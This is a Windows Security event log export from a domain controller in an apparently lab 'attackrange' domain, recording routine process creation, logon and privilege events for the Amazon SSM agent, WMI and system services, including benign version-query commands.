-Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248242 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbfc - New Process Name: C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248241 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248240 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248239 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbc4 - New Process Name: C:\Windows\System32\spoolsv.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\spoolsv.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248238 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248237 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248269 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda0 - New Process Name: C:\Windows\System32\vds.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\vds.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248268 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:45:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248267 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248266 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd8c - New Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wbem\wmiprvse.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248265 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd5c - New Process Name: C:\Windows\System32\vdsldr.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\System32\vdsldr.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248264 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd40 - New Process Name: C:\Windows\System32\wbem\WmiApSrv.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\wbem\WmiApSrv.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248263 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:45:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248262 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248271 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe0c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe04 - Creator Process Name: C:\Windows\System32\lodctr.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248270 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe04 - New Process Name: C:\Windows\System32\lodctr.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x9c8 - Creator Process Name: C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe - Process Command Line: "C:\Windows\system32\lodctr.exe" "C:\Windows\TEMP\tmpACBA.tmp" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248273 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe68 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe60 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248272 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe60 - New Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xbfc - Creator Process Name: C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe - Process Command Line: "C:\Program Files\Amazon\SSM\ssm-agent-worker.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248275 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf10 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe60 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: powershell "Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'" "| Select-Object" "ProductName, BuildLabEx, CurrentMajorVersionNumber, CurrentMinorVersionNumber" "| ConvertTo-Json -Depth 3" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248274 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xed8 - New Process Name: C:\Windows\System32\wbem\WMIC.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe60 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: wmic OS get Version /format:list - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248278 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc74 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe60 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: powershell "Get-ItemProperty -Path 'HKLM:\SOFTWARE\Amazon\PVDriver'" "| Select-Object" "Name, Version" "| ConvertTo-Json -Depth 3" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248277 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfec - New Process Name: C:\Windows\System32\wbem\WMIC.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory 